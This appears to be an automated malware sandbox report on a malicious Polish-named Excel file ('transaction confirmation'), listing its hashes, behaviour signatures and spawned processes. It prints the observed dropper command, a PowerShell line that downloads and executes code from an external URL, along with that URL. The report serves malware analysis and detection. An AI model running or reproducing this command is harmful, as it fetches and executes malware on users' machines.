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Overview

overview

10

Static

static

8

Potwierdze...5).xls

windows7_x64

10

Potwierdze...5).xls

windows10_x64

10

Analysis

  • max time kernel
    112s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    14/07/2020, 14:07

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Report Analysis Logs

General

  • Target

    Potwierdzenie transakcji (5).xls

  • Size

    856KB

  • MD5

    92d6e6b45a4275700d0f6f57e1b41609

  • SHA1

    2d9aa61c33bdcc875e610edac331901ed59a5b44

  • SHA256

    2705cadf0dff4e6476415d0d51fafc2e121bdfde7e8649004bf1294a85f17a11

  • SHA512

    2d25de03fa17fdbaf4ec0370fbc339a98aca9dd2f203f6ff243c7f61d82108fcea9f61f42b025cf76bcacef86c252d45561b7c8a42d2e00521ca352c88b43158

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://officeservicecorp.biz/Lab.jpg

Signatures

  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of WriteProcessMemory 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Potwierdzenie transakcji (5).xls"
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:900
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://officeservicecorp.biz/Lab.jpg')
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      PID:1488

Network

MITRE ATT&CK Matrix

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